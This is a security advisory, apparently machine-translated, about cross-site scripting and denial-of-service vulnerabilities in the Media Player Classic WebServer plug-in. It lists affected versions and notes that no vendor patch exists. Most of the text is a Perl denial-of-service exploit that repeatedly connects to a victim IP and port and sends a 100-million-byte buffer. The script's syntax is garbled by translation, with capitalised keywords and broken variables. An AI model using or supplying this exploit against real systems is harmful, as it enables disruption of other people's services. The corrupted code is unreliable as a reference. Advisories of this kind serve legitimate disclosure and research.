Media Player Classic WebServer cross-site scripting and DoS Vulnerabilities

Release date:
Updated on: 2012-11-19

Affected Systems:
Guliverkli Media Player Classic 6.4.9.1
Guliverkli Media Player Classic 1.5 2827
Guliverkli Media Player Classic 1.3.1752 0
Guliverkli Media Player Classic 1.3.20.0
Guliverkli Media Player Classic 1.3.2189.0
Guliverkli Media Player Classic 1.3.1774 0
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56567

Media Player Classic (MPC) WebServer is a Web-based Remote Control plug-in that belongs to Media Player Classic.

Media Player Classic WebServer has cross-site scripting and DoS Vulnerabilities. Attackers can exploit these vulnerabilities to cause DoS or execute arbitrary code in the user browsers of the affected sites.

<* Source: X-Cisadane
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/perl
Use IO: Socket: INET;
Use Getopt: Std;
Use Socket;
My $ SOCKET = "";
$ Loop = 1000;
$ Ip = $ ARGV [0];
$ Port = $ ARGV [1];
If (! Defined $ ARGV [0])
{
Print "\ t * ========================================== ===========================================* \ n ";
Print "\ t * --- nmwebserver Remote Denial Of Service --- * \ n ";
Print "\ t * --- By: X-Cisadane --- * \ n ";
Print "\ t * --- ------------------------------------------------ --- * \ n ";
Print "\ t * --- Usage: perl exploitmpc. pl (Victim IP) (Port) --- * \ n ";
Print "\ t * --- * \ n ";
Print "\ t * ========================================== ===========================================* \ n ";
Print "\ n ";
Print "Ex: perl exploitmpc. pl 127.0.0.1 13579 \ n ";
Print "Default Port for MPC Web Server is 13579 \ n ";

Exit;
}

Print "\ t * ========================================== ===========================================* \ n ";
Print "\ t * --- nmwebserver Remote Denial Of Service --- * \ n ";
Print "\ t * --- By: X-Cisadane --- * \ n ";
Print "\ t * --- ------------------------------------------------ --- * \ n ";
Print "\ t * --- Usage: perl exploitmpc. pl (Victim IP) (Port) --- * \ n ";
Print "\ t * --- * \ n ";
Print "\ t * ========================================== ===========================================* \ n ";
Print "\ n ";
Print "Ex: perl exploitmpc. pl 127.0.0.1 13579 \ n ";
Print "Default Port for MPC Web Server is 13579 \ n ";
Print "\ n ";
Print "Please Wait Till The Buffer is Done \ n ";
My $ b1 = "\ x41" x 100000000;

$ Iaddr = inet_aton ($ ip) | die "Unknown host: $ ip \ n ";
$ Paddr = sockaddr_in ($ port, $ iaddr) | die "getprotobyname: $! \ N ";
$ Proto = getprotobyname ('tcp ') | die "getprotobyname: $! \ N ";

Print "\ n ";
Print "Attacking the Target, Please Wait Till Pwned \ n ";

For ($ j = 1; $ j <$ loop; $ j ++ ){
Socket (SOCKET, PF_INET, SOCK_STREAM, $ proto) | die "socket: $! \ N ";
Connect (SOCKET, $ paddr) | die "Connection Failed: $! ... Disconnected! \ N ";

$ DoS = IO: Socket: INET-> new ("$ ip: $ port") or die;
Send (SOCKET, $ b1, 0) | die "failure sent: $! \ N ";

Print $ DoS "stor $ b1 \ n ";
Print $ DoS "QUIT \ n ";

Close $ DoS;
Close SOCKET;
}
# Exit:

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Guliverkli
----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://guliverkli.sourceforge.net/